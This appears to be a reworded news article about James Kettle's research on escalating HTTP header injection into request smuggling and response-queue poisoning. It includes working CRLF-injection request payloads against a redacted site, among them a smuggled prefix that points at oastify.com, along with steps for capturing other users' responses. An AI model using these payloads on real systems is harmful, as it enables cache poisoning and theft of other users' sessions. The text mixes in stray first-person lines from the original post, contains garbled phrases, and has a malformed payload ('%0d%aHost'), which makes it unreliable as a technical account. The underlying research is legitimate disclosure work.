A recent study on HTTP header injection was published by PortSwigger’s director of research, James Kettle. Host Header Injection is frequently underrated and incorrectly categorized as an Open Redirection or XSS-level mild severity issue. He revealed a straightforward method in a post that he used to make a header injection vulnerability critical and earn a $12,500 prize.
Both request header injection on front-end servers and response header injection on back-end servers are covered by this technique.
Background
All of this began when a random stranger asked him whether he had any suggestions for exploiting a path-based request header injection. A significant, heavily used website called “redacted.net” that provided essential services contained the vulnerability:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0a%0d%0a HTTP/1.1
Host: redacted.net
HTTP/1.1 200 OK
GET /%20HTTP/1.1%0d%0anothost:%20redacted.net%0d%0a%0d%0a HTTP/1.1
Host: redacted.net
HTTP/1.1 400 Bad Request
He typically avoids responding to emails of this nature. This time, the reporter is trapped because the email is actually unusable, and James is powerless to assist. He thought it might be able to transform request smuggling into header injection vulnerabilities, nevertheless. Also, the reporter agreed to a 50/50 bounty split provided I could help with the target website’s bug bounty programme, which is recognized for its competitive awards.
Upgrading header injection into HTTP request smuggling
Simple instructions allow anyone to transform a request header injection into a more serious HTTP desync.
Determine where injection occurs first, then add whatever is required for a clean exit from the context:
GET /%20HTTP/1.1%0d%0a%0d%0a HTTP/1.1
HTTP/1.1 400 Bad Request
Connection: close
After the back-end responds to the initial request, inject the following headers to guarantee that it maintains the connection:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
HTTP/1.1 200 OK
Connection: keep-alive
Now, provide a second request that is entirely within our control to prepare for a traditional request smuggling assault. The server may attach additional headers or body after our injection; thus, one must take this into account. Here are just two possibilities for cross-user exploitation.
naming a malicious prefix to contaminate a web cache or the request of the following user:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
Alternately, you could build the prefix to combine with the trailing trash and produce a whole second request to start response queue poisoning.
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
He chose the latter, and it worked, allowing him to sporadically receive responses meant for other authenticated users. He captured a stunning screenshot but was unable to show it off.
This was enough to demonstrate the target’s serious impact, and once they patched it in just 24 hours, they offered a $12,500 prize.
If you have trouble using this method for yourself, you might find these two posts helpful:
Response header injection and the stacked-response problem
As can be shown, it’s not too difficult to upgrade request header injection into a desync. Upgrading response header injection can occasionally be simple. Other times, though, it mysteriously fails. He recently identified a defense mechanism that, in my opinion, explains this and offers a potential remedy.
When reading in a response, web browsers truncate the response and cut off the connection if they find more data than the server specified in the Content-Length header. He named this the “stacked-response problem” and discovered that it made it more difficult but still viable to exploit Client-Side Desync vulnerabilities.
There are already suspicions that numerous significant front-end servers utilize a comparable method, which has two security repercussions:
Normal desync attacks are not impacted, but response-queue poisoning is reduced.
It is challenging to transform HTTP desync from response header injection.
It’s possible that you’ve run into this method if your attempts to initiate a desync using response header injection fail. You must delay the injected response in order to avoid being detected by the front-over-read ends in order to get around it.
Injecting a lot of newlines, which servers normally consume without starting request/response processing, is one potential solution for this.
In the end, more study is required for this element. If you run into this problem on a bug bounty programme and run into trouble, I’d be pleased to see if I can get you in touch with him for assistance.
He added that these strategies won’t work as-is if the website where you discovered header injection lacks a front-end, but you could still be able to create a client-side desync.
Final Thoughts
In addition to HTTP Request Smuggling, James Kettle surmised that these techniques were once well-known but were forgotten. This helps to explain why response header injection is sometimes referred to as “response splitting” even though the response is never divided. Check read Hunting Evasive Vulnerabilities for a more thorough investigation of the topic of forgotten security knowledge.
Anyone could benefit from these strategies, and James Kettles would love to know whether you were successful using them.